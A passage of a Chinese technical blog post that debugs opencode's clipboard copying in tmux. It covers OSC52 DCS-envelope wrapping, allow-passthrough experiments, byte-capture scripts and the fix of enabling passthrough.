（但注意：常驻进程持有的是&lt;strong&gt;启动时&lt;&#x2F;strong&gt;的环境。SSH 会话换了 waypipe socket，
老进程里的 &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt; 就指向死 socket。）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-er-ceng-v2-0-24-de-jian-tie-ban-xie-ru-jie-gou-2026-10-09-xiu-zheng&quot;&gt;第二层：v2.0.24 的剪贴板写入结构（2026-10-09 修正）&lt;&#x2F;h2&gt;
&lt;p&gt;对官方二进制做字符串统计（这一步今天依然成立）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ for s in wl-copy xclip clipboardy Ptmux; do echo -n &amp;quot;$s: &amp;quot;; grep -ac &amp;quot;$s&amp;quot; ~&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode; done
wl-copy: 0
xclip: 0
clipboardy: 0
Ptmux: 3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;补充一个更严格的整词级检查（裸二进制的 &lt;code&gt;grep -ac&lt;&#x2F;code&gt; 是子串匹配，&lt;code&gt;xclip&lt;&#x2F;code&gt;
这种纯 base64 字母组合理论上存在误报可能；按 strings 整词匹配更硬）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ strings -n 5 ~&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode | grep -xE &amp;#x27;wl-copy|wl-paste|xclip|xsel|pbcopy|clip.exe&amp;#x27;
# 无输出 —— 整词 0 命中（同法只捞出 WAYLAND_DISPLAY 一个环境变量名）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;勘误&lt;&#x2F;strong&gt;：初版据此得出&quot;复制只有一条路&quot;，并把二进制里提取的这段 &lt;code&gt;writeText&lt;&#x2F;code&gt;
当成了写入全貌：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;writeText(r, i) {
  let s = u()  &amp;#x2F;&amp;#x2F; osc52_support 能力
  if (s === &amp;quot;unsupported&amp;quot;) return {status: &amp;quot;not-attempted&amp;quot;, capability: s}
  return {status: e.copyToClipboardOSC52(r, t(i)) ? &amp;quot;attempted&amp;quot; : &amp;quot;local-failure&amp;quot;, ...}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码是真的，但它只是 &lt;strong&gt;terminal 腿&lt;&#x2F;strong&gt;的适配器
（&lt;code&gt;createRendererClipboardAdapter&lt;&#x2F;code&gt;），不是剪贴板写入的全部。2026-10-09 用
release 二进制字符串 + &lt;code&gt;@opentui&#x2F;core@0.5.16&lt;&#x2F;code&gt;（TUI 依赖的版本）源码双重确认，
完整结构是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;TUI clipboard.write → clipboard.writeText({ destination: &amp;quot;all-available&amp;quot; })
  ├─ terminal 腿: 上面的 OSC52 适配器（osc52 能力门控, tmux&amp;lt;3.6 时包 DCS 信封）
  └─ host 腿: createHostClipboard → NativeClipboardBackend（Zig 原生）
       = 进程内 Wayland zwlr_data_control &amp;#x2F; X11 选区客户端（与 wl-copy 同协议！）
         默认 timeoutMs = 1000ms
         二进制里可见 zwlr_data_control_manager_v1 &amp;#x2F; wl_data_device_manager 等接口字符串
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&quot;all-available&quot;&lt;&#x2F;code&gt; 会把两条腿都跑一遍（并行），&lt;strong&gt;但&lt;&#x2F;strong&gt; core 里有远端保护：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;canUseRemoteHost = !terminal.remote || options.allowRemoteHost === true
&amp;#x2F;&amp;#x2F; terminal.remote = capabilities.remote ?? true   ← 能力未知时默认 true
&amp;#x2F;&amp;#x2F; 不满足时该腿: { status: &amp;quot;not-attempted&amp;quot; }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;opencode 没传 &lt;code&gt;allowRemoteHost&lt;&#x2F;code&gt;，而 &lt;code&gt;remote&lt;&#x2F;code&gt; 能力未知时&lt;strong&gt;默认 true&lt;&#x2F;strong&gt;——
所以在 SSH + tmux 这类&quot;远端&quot;场景，host 腿直接 &lt;code&gt;not-attempted&lt;&#x2F;code&gt;，
&lt;strong&gt;实际出门的只有 OSC52&lt;&#x2F;strong&gt;。这就是初版&quot;只有一条路&quot;的结论歪打正着的原因：
机制上双路，效果上单路。&lt;&#x2F;p&gt;
&lt;p&gt;写入返回的是状态对象、不抛异常，TUI 适配器的成功判定是
&lt;code&gt;host.status === &quot;written&quot; || terminal.status === &quot;attempted&quot;&lt;&#x2F;code&gt;——
所以 OSC52 被下游丢弃时 toast 照样弹。这就是&quot;提示成功但剪贴板为空&quot;的直接原因。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;勘误&lt;&#x2F;strong&gt;：初版括号里写&quot;dev 分支的 &lt;code&gt;clipboard.ts&lt;&#x2F;code&gt; 是另一套：OSC52 +
&lt;code&gt;wl-copy&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;xclip&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;xsel&lt;&#x2F;code&gt; 双保险&quot;——&lt;strong&gt;归因错误&lt;&#x2F;strong&gt;。&lt;code&gt;@opentui&#x2F;core@0.5.16&lt;&#x2F;code&gt;
的 &lt;code&gt;createHostClipboard&lt;&#x2F;code&gt; 同样是原生 backend（整个包里 &lt;code&gt;wl-copy&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;xclip&lt;&#x2F;code&gt;&#x2F;
&lt;code&gt;xsel&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;pbcopy&lt;&#x2F;code&gt; 出现 0 次），dev 源码与 release 二进制在这部分一致
（二进制里同时有该适配器的错误文案和 &lt;code&gt;zwlr_data_control&lt;&#x2F;code&gt; 协议字符串可证）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;运行时备注&lt;&#x2F;strong&gt;（顺带回答&quot;二进制里怎么又有 Bun 又有 Zig&quot;）：v2 核心代码是
运行时无关设计——运行时相关位被隔离成 &lt;code&gt;.bun.ts&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;.node.ts&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;.workerd.ts&lt;&#x2F;code&gt;
三套成对适配器（sqlite、pty、filesystem、image、persistent-pty）；npm 分发
声明 &lt;code&gt;engines: node &amp;gt;= 22&lt;&#x2F;code&gt;，入口是 &lt;code&gt;#!&#x2F;usr&#x2F;bin&#x2F;env node&lt;&#x2F;code&gt; 的 &lt;code&gt;opencode.cjs&lt;&#x2F;code&gt; +
&lt;code&gt;.&#x2F;server-process&lt;&#x2F;code&gt; 导出；桌面 standalone 则是 &lt;code&gt;bun build --compile&lt;&#x2F;code&gt; 单文件
（内嵌 Bun v1.4.2，本文抓字节用的就是它——本机 4 个 opencode 进程全是它，
RSS 各约 0.4GB，没有任何 node 进程）。而 OpenTUI 的 Zig 原生层与上层 JS
运行时无关：&lt;code&gt;index.bun.js&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;index.node.js&lt;&#x2F;code&gt; 双入口，Bun 走 &lt;code&gt;bun:ffi&lt;&#x2F;code&gt;、Node
走 &lt;code&gt;process.dlopen&lt;&#x2F;code&gt;，加载的是同一个 Zig 库。剪贴板 host 腿（OSC52 写出、
tmux 信封、&lt;code&gt;zwlr_data_control&lt;&#x2F;code&gt; 客户端）就住在这层——上层运行时怎么换，
本文的字节级结论一字不改。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-san-ceng-tmux-3-6-shi-qiang-zhi-dcs-xin-feng-ben-ci-wen-ti-de-gen-yuan&quot;&gt;第三层：tmux &amp;lt; 3.6 时强制 DCS 信封（本次问题的根源）&lt;&#x2F;h2&gt;
&lt;p&gt;从二进制提取的 opentui 逻辑：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;isLegacyTmux = terminal.name.toLowerCase().includes(&amp;quot;tmux&amp;quot;)
            &amp;amp;&amp;amp; terminal.version.localeCompare(&amp;quot;3.6&amp;quot;) &amp;lt; 0

writeOsc(seq, force = false) {
  return this.writeFn(force &amp;amp;&amp;amp; this.inLegacyTmux ? 包DCS信封(seq) : seq)  &amp;#x2F;&amp;#x2F; 二选一！
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键在那个 &lt;code&gt;?:&lt;&#x2F;code&gt;——&lt;strong&gt;二选一&lt;&#x2F;strong&gt;，不是&quot;两个都发&quot;。tmux 通过 XTVERSION 自报 &lt;code&gt;tmux 3.5a&lt;&#x2F;code&gt;，
&lt;code&gt;3.5a &amp;lt; 3.6&lt;&#x2F;code&gt; → 被判为 legacy → 剪贴板 OSC52 &lt;strong&gt;只以&lt;&#x2F;strong&gt; &lt;code&gt;\ePtmux;&lt;&#x2F;code&gt; 信封形式发出。&lt;&#x2F;p&gt;
&lt;p&gt;顺带一提：&lt;code&gt;localeCompare&lt;&#x2F;code&gt; 比较版本字符串，字典序下 &lt;code&gt;&quot;3.10&quot; &amp;lt; &quot;3.6&quot;&lt;&#x2F;code&gt;，
未来 tmux 3.10 也会被误判 legacy——这个启发式挺粗糙。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-zheng-bu-huo-zhen-shi-tui-fa-chu-de-zi-jie-zui-ying-de-zheng-ju&quot;&gt;验证：捕获真实 TUI 发出的字节（最硬的证据）&lt;&#x2F;h2&gt;
&lt;p&gt;静态分析可能过时，直接抓真实 TUI 的输出。在独立 tmux 会话里跑 opencode，
用 &lt;code&gt;pipe-pane&lt;&#x2F;code&gt; 捕获 pane 原始字节（挂在 tmux 解析&lt;strong&gt;之前&lt;&#x2F;strong&gt;的 pty 输出流上），
然后模拟键盘触发复制。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;勘误&lt;&#x2F;strong&gt;：初版这段只贴了 6 行梗概，照抄是复现不出来的。两个坑：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;致命坑：会话状态前置条件。&lt;&#x2F;strong&gt; &lt;code&gt;messages.copy&lt;&#x2F;code&gt; 复制的是&quot;最后一条 assistant
消息的纯文本部分&quot;。&lt;code&gt;-c&lt;&#x2F;code&gt; 续接的会话若以纯工具调用结尾（做实验时几乎必然），
命令直接走 &lt;code&gt;No text parts found in last assistant message&lt;&#x2F;code&gt; 分支 early
return——&lt;strong&gt;一个字节都不会写&lt;&#x2F;strong&gt;，屏幕上只有一个 toast。2026-10-09 复现时
第一次捕获 0 命中就是这个原因，全程 &lt;code&gt;capture-pane&lt;&#x2F;code&gt; 截屏才定位到。
解法：用 &lt;code&gt;-s &amp;lt;sessionID&amp;gt;&lt;&#x2F;code&gt; 指定一个以纯文本结尾的会话。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;工程坑&lt;&#x2F;strong&gt;：盲等 &lt;code&gt;sleep 9&lt;&#x2F;code&gt; 赌时序（应轮询 &lt;code&gt;capture-pane&lt;&#x2F;code&gt; 直到屏幕稳定）、
不停 pipe-pane（文件持续增长，&quot;恰好 1 次&quot;无从统计）、解码脚本写成省略号、
在 shell 里 &lt;code&gt;grep &#x27;\e]52;c;&#x27;&lt;&#x2F;code&gt; 的转义根本不成立。这类嵌套转义实验必须
落成脚本文件，不能内联敲。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;完整可复现脚本（两个文件 + 一条命令）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ============ verify-osc52.sh ============
#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;env bash
# 用法: verify-osc52.sh &amp;lt;wrapped|plain|wrapped-headless|plain-headless&amp;gt;
set -euo pipefail
MODE=${1:?usage: verify-osc52.sh &amp;lt;wrapped|plain|wrapped-headless|plain-headless&amp;gt;}
BIN=${OPENCODE_BIN:-$HOME&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode}
BASE=&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.tmp&amp;#x2F;opencode
SESSION=ocverify
CAP=$BASE&amp;#x2F;oc-tui-capture-$MODE.bin

tmux kill-session -t &amp;quot;$SESSION&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || true
rm -f &amp;quot;$CAP&amp;quot;

# TMUX 可见性决定是否走信封分支; DISPLAY&amp;#x2F;WAYLAND 决定宿主图形环境是否可用
ENVPFX=(env)
[[ &amp;quot;$MODE&amp;quot; == plain*          ]] &amp;amp;&amp;amp; ENVPFX+=(-u TMUX)
[[ &amp;quot;$MODE&amp;quot; == *-headless      ]] &amp;amp;&amp;amp; ENVPFX+=(-u DISPLAY -u WAYLAND_DISPLAY)
ENVPFX+=(TERM=xterm-256color)   # env 的 -u 必须在变量赋值之前

# -s 指定&amp;quot;最后一条 assistant 消息是纯文本&amp;quot;的会话 =&amp;gt; 复制必有内容
SESSION_ARG=&amp;quot;-c&amp;quot;
[[ -n &amp;quot;${OPENCODE_SESSION:-}&amp;quot; ]] &amp;amp;&amp;amp; SESSION_ARG=&amp;quot;-s $OPENCODE_SESSION&amp;quot;

tmux new-session -d -s &amp;quot;$SESSION&amp;quot; -x 120 -y 35 &amp;quot;${ENVPFX[*]} &amp;#x27;$BIN&amp;#x27; $SESSION_ARG&amp;quot;
tmux pipe-pane -o -t &amp;quot;$SESSION&amp;quot; &amp;quot;cat &amp;gt;&amp;gt; $CAP&amp;quot;   # 水龙头: tmux 解析前的原始字节

# 就绪检测: 轮询到两次连续截屏一致且非空(代替盲等)
prev=&amp;quot;&amp;quot;; for i in $(seq 1 60); do
  cur=$(tmux capture-pane -p -t &amp;quot;$SESSION&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || true)
  [[ -n &amp;quot;$cur&amp;quot; &amp;amp;&amp;amp; &amp;quot;$cur&amp;quot; == &amp;quot;$prev&amp;quot; ]] &amp;amp;&amp;amp; break
  prev=$cur; sleep 0.5
done

# 驱动按键: leader=ctrl+x, messages.copy=&amp;lt;leader&amp;gt;y (leader 超时默认 2000ms)
tmux send-keys -t &amp;quot;$SESSION&amp;quot; C-x; sleep 0.6
tmux capture-pane -p -t &amp;quot;$SESSION&amp;quot; &amp;gt; &amp;quot;$BASE&amp;#x2F;oc-tui-screen-$MODE-2-leader.txt&amp;quot;
tmux send-keys -t &amp;quot;$SESSION&amp;quot; y;   sleep 2

tmux pipe-pane -t &amp;quot;$SESSION&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || true   # 关水龙头
sleep 0.3; tmux kill-session -t &amp;quot;$SESSION&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || true
python3 &amp;quot;$BASE&amp;#x2F;analyze-capture.py&amp;quot; &amp;quot;$CAP&amp;quot;

# ============ analyze-capture.py ============
import base64, re, sys
data = open(sys.argv[1], &amp;quot;rb&amp;quot;).read()
marker = b&amp;quot;\x1b]52;c;&amp;quot;
print(f&amp;quot;capture: {sys.argv[1]}  ({len(data)} bytes)&amp;quot;)
print(f&amp;quot;OSC52 marker 出现次数: {data.count(marker)}&amp;quot;)
for text, label in [(b&amp;quot;copied to clipboard&amp;quot;, &amp;quot;成功 toast&amp;quot;),
                    (b&amp;quot;No assistant messages&amp;quot;, &amp;quot;错误:无消息&amp;quot;),
                    (b&amp;quot;No text parts&amp;quot;, &amp;quot;错误:无文本部分&amp;quot;)]:
    print(f&amp;quot;{label}: {data.count(text)} 次&amp;quot;)
# tmux DCS 信封: ESC P tmux; ESC ESC ]52;c;&amp;lt;b64&amp;gt; ESC ESC \ ESC \
envelope = re.search(rb&amp;quot;\x1bPtmux;\x1b\x1b\]52;c;([A-Za-z0-9+&amp;#x2F;=]+?)\x1b\x1b\\\x1b\\&amp;quot;, data)
bare = re.search(rb&amp;quot;\x1b\]52;c;([A-Za-z0-9+&amp;#x2F;=]+?)(?:\x07|\x1b\\)&amp;quot;, data)
match = envelope or bare
if not match:
    print(&amp;quot;无完整 OSC52 —— 复制没触发或被会话状态拦截(查屏幕截屏)&amp;quot;)
    sys.exit(1)
payload = base64.b64decode(match.group(1))
print(&amp;quot;形式:&amp;quot;, &amp;quot;tmux DCS 信封(内层 ESC 双写)&amp;quot; if envelope else &amp;quot;裸 OSC52&amp;quot;)
print(f&amp;quot;payload: {len(payload)} 字节&amp;quot;)
print(payload.decode(&amp;quot;utf-8&amp;quot;, &amp;quot;replace&amp;quot;)[:200])
s = data.find(marker)
print(repr(data[max(0, s-36):s+56]))   # marker 前后原始字节
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;OPENCODE_SESSION=ses_xxx ~&amp;#x2F;.tmp&amp;#x2F;opencode&amp;#x2F;verify-osc52.sh wrapped
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测输出（v2.0.24，&quot;Greeting&quot; 测试会话）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capture: &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.tmp&amp;#x2F;opencode&amp;#x2F;oc-tui-capture-wrapped.bin  (774461 bytes)
OSC52 marker 出现次数: 1
成功 toast: 1 次
形式: tmux DCS 信封(内层 ESC 双写)
payload: 38 字节
Hello! What can I help you with today?
b&amp;#x27;...\x1b[1;95H\x1b[0m\x1b[0m\x1b[?2026l\x1bPtmux;\x1b\x1b]52;c;SGVsbG8h...&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;77 万字节捕获中恰好 1 次。信封内 ESC 双写（&lt;code&gt;\e\e]52&lt;&#x2F;code&gt;）与二进制中的
&lt;code&gt;e.replace(&#x2F;\x1b&#x2F;g,&quot;\x1B\x1B&quot;)&lt;&#x2F;code&gt; 完全吻合——静态分析与动态捕获互相印证。&lt;&#x2F;p&gt;
&lt;p&gt;追加的三组环境对照（同会话、只动环境变量）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;环境&lt;&#x2F;th&gt;&lt;th&gt;OSC52&lt;&#x2F;th&gt;&lt;th&gt;形式&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;tmux 内（默认）&lt;&#x2F;td&gt;&lt;td&gt;1 次&lt;&#x2F;td&gt;&lt;td&gt;DCS 信封&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tmux 内 + 剥掉 DISPLAY&#x2F;WAYLAND&lt;&#x2F;td&gt;&lt;td&gt;1 次&lt;&#x2F;td&gt;&lt;td&gt;DCS 信封（host 图形环境缺失不影响 OSC52）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;env -u TMUX&lt;&#x2F;code&gt; + 剥掉 DISPLAY&#x2F;WAYLAND&lt;&#x2F;td&gt;&lt;td&gt;1 次&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;仍是 DCS 信封&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;第三行说明 tmux 判定&lt;strong&gt;不看环境变量&lt;&#x2F;strong&gt;（剪贴板 OSC52 的包装在 Zig 原生层，
靠终端能力协商识别 tmux），strip &lt;code&gt;$TMUX&lt;&#x2F;code&gt; 骗不过它。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-si-ceng-allow-passthrough-de-kai-guan-dui-zhao-shi-yan&quot;&gt;第四层：allow-passthrough 的开关对照实验&lt;&#x2F;h2&gt;
&lt;p&gt;信封被 tmux 放行还是丢弃，取决于 &lt;code&gt;allow-passthrough&lt;&#x2F;code&gt;（默认 &lt;strong&gt;off&lt;&#x2F;strong&gt;）。
用&quot;伪终端假客户端&quot;做字节级对照——用 Python &lt;code&gt;pty&lt;&#x2F;code&gt; 伪装成一个终端，
attach 到 tmux 会话，捕获 tmux 客户端输出的全部字节（即&quot;终端将会收到什么&quot;），
并模拟 kitty 的 DA1&#x2F;DA2&#x2F;XTVERSION 应答让 tmux 认可剪贴板能力：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;实验&lt;&#x2F;th&gt;&lt;th&gt;allow-passthrough&lt;&#x2F;th&gt;&lt;th&gt;信封内容到达假终端&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;对照 A&lt;&#x2F;td&gt;&lt;td&gt;off&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;0 次（静默丢弃实锤）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;对照 B&lt;&#x2F;td&gt;&lt;td&gt;on&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;1 次（完整放行）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tmux set-option -g allow-passthrough off
# pane 内发射信封: printf &amp;#x27;\033Ptmux;\033\033]52;c;%s\007\033\\&amp;#x27; &amp;quot;$b64&amp;quot;
# → 假终端捕获 0 次命中
tmux set-option -g allow-passthrough on
# 同样发射 → 1 次命中
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fan-xiang-yan-zheng-tmux-yuan-sheng-zhuan-fa-wei-shen-me-bu-kao-pu&quot;&gt;反向验证：tmux 原生转发为什么不靠谱&lt;&#x2F;h2&gt;
&lt;p&gt;&quot;set-clipboard on 时 tmux 会转发原生 OSC52&quot;是文档说法（且要求客户端 TERM 的
terminfo 有 &lt;code&gt;Ms&lt;&#x2F;code&gt; 扩展能力）。实测（伪终端客户端 + 自制 &lt;code&gt;xterm-clip&lt;&#x2F;code&gt; terminfo 带 Ms）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ infocmp -x -1 xterm-256color | grep Ms=   # 检查常见 TERM
# 本机所有 stock terminfo（含 xterm-kitty）都没有 Ms！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;10 次原生 OSC52 发射实验中只有 2 次到达假终端——&lt;strong&gt;间歇性成功，未能定位稳定触发条件&lt;&#x2F;strong&gt;
（attach 后首次发射必丢是唯一稳定规律）。存储侧同样不稳定：&lt;code&gt;set-clipboard on&lt;&#x2F;code&gt;
时 pane 的原生 OSC52 有时进 &lt;code&gt;tmux show-buffer&lt;&#x2F;code&gt; 有时不进。&lt;&#x2F;p&gt;
&lt;p&gt;这就是 opentui 对 tmux &amp;lt; 3.6 弃用原生路径、强制信封的经验依据——
对终端模拟器直连场景，信封透传是唯一 100% 可靠的通道（本实验中 N&#x2F;N 全部到达）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ling-yi-tiao-lu-wl-copy-de-san-tai-waypipe-chang-jing&quot;&gt;另一条路：wl-copy 的三态（waypipe 场景）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;勘误&lt;&#x2F;strong&gt;：初版把这一节表述为&quot;开发分支的 wl-copy 路径&quot;——归因错误。
2026-10-09 确认：opencode 无论 release 还是 dev，都&lt;strong&gt;从不 spawn &lt;code&gt;wl-copy&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;
（&lt;code&gt;@opentui&#x2F;core@0.5.16&lt;&#x2F;code&gt; 全包 0 次出现；host 腿是进程内 Zig 原生
&lt;code&gt;zwlr_data_control&lt;&#x2F;code&gt; 客户端）。这组三态数据是&lt;strong&gt;对 &lt;code&gt;wl-copy&lt;&#x2F;code&gt; 工具本身&lt;&#x2F;strong&gt;在
waypipe 场景的实测——但它依然有价值：原生 host 腿走的是&lt;strong&gt;同一个协议&lt;&#x2F;strong&gt;
（zwlr-data-control）、&lt;strong&gt;同一条 waypipe socket&lt;&#x2F;strong&gt;，所以它刻画的正是
&quot;opencode 若走 Wayland 剪贴板通道，这条链路的三种健康状况&quot;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;状态&lt;&#x2F;th&gt;&lt;th&gt;表现&lt;&#x2F;th&gt;&lt;th&gt;实测&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;waypipe 健康&lt;&#x2F;td&gt;&lt;td&gt;可用但慢&lt;&#x2F;td&gt;&lt;td&gt;2.8s 完成，&lt;code&gt;wl-paste&lt;&#x2F;code&gt; 回读内容一致&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;socket 文件已死&lt;&#x2F;td&gt;&lt;td&gt;立即失败&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;exit=1&lt;&#x2F;code&gt;，耗时 0.002s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;僵尸 socket&lt;&#x2F;strong&gt;（文件在、连接 ESTAB、对端已死）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;无限挂起&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;30s 超时未完成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;僵尸态最坑：&lt;code&gt;ss -x&lt;&#x2F;code&gt; 显示连接 ESTAB、socket 文件都在，看起来一切正常，
&lt;code&gt;wl-copy&lt;&#x2F;code&gt; 却永远阻塞。不过&quot;无限挂起&quot;不会原样映射到 opencode：原生 host 腿
默认 &lt;code&gt;timeoutMs = 1000ms&lt;&#x2F;code&gt;，超时返回 &lt;code&gt;timed-out&lt;&#x2F;code&gt; 状态。&lt;&#x2F;p&gt;
&lt;p&gt;关于&quot;吞错误&quot;也要修正：实际是&lt;strong&gt;逐腿状态对象&lt;&#x2F;strong&gt;，单腿失败被设计性吞掉；
只有两腿都失败（host &lt;code&gt;failed&lt;&#x2F;code&gt; 且 terminal 未 &lt;code&gt;attempted&lt;&#x2F;code&gt;）TUI 适配器才
throw、命令层才弹失败 toast。本文的场景里 OSC52 腿恒为 &lt;code&gt;attempted&lt;&#x2F;code&gt;，
所以永远只见成功 toast——与初版结论一致，但机制表述如上。&lt;&#x2F;p&gt;
&lt;p&gt;顺带用自制脚本复现过一个 spawn 方案的坑（opencode 不在此列，但对任何想
自己 spawn 剪贴板工具的人有效）：&lt;code&gt;xclip -selection clipboard&lt;&#x2F;code&gt; 会 fork 后台
进程伺服选区，子进程继承 stdout 管道导致 Node 的 &lt;code&gt;close&lt;&#x2F;code&gt; 事件永不触发——
&lt;code&gt;stdio: [&quot;pipe&quot;,&quot;pipe&quot;,&quot;ignore&quot;]&lt;&#x2F;code&gt; 下永久挂死，改成 &lt;code&gt;stdout: &quot;ignore&quot;&lt;&#x2F;code&gt; 立即退出。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-wai-shou-huo-tmux-paste-buffer-li-de-ming-wen-jian-tie-ban&quot;&gt;意外收获：tmux paste buffer 里的明文剪贴板&lt;&#x2F;h2&gt;
&lt;p&gt;实验中 &lt;code&gt;tmux show-buffer&lt;&#x2F;code&gt; 意外读到了一段 &lt;code&gt;sk-&lt;&#x2F;code&gt; 开头的 API key 明文——
&lt;code&gt;set-clipboard on&lt;&#x2F;code&gt; 时，任何 pane 内程序发的原生 OSC52 都会被 tmux 解码存入
paste buffer 栈（上限 50 条，可用 &lt;code&gt;tmux list-buffers&lt;&#x2F;code&gt; 翻历史）。多用户共享
tmux server 的场景值得警惕；不需要的话 &lt;code&gt;set -g set-clipboard external&lt;&#x2F;code&gt; 可关闭
tmux 侧存储（只转发）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-fu-yu-zui-zhong-yan-zheng&quot;&gt;修复与最终验证&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tmux set-option -g allow-passthrough on
echo &amp;#x27;set -g allow-passthrough on&amp;#x27; &amp;gt;&amp;gt; ~&amp;#x2F;.tmux.conf
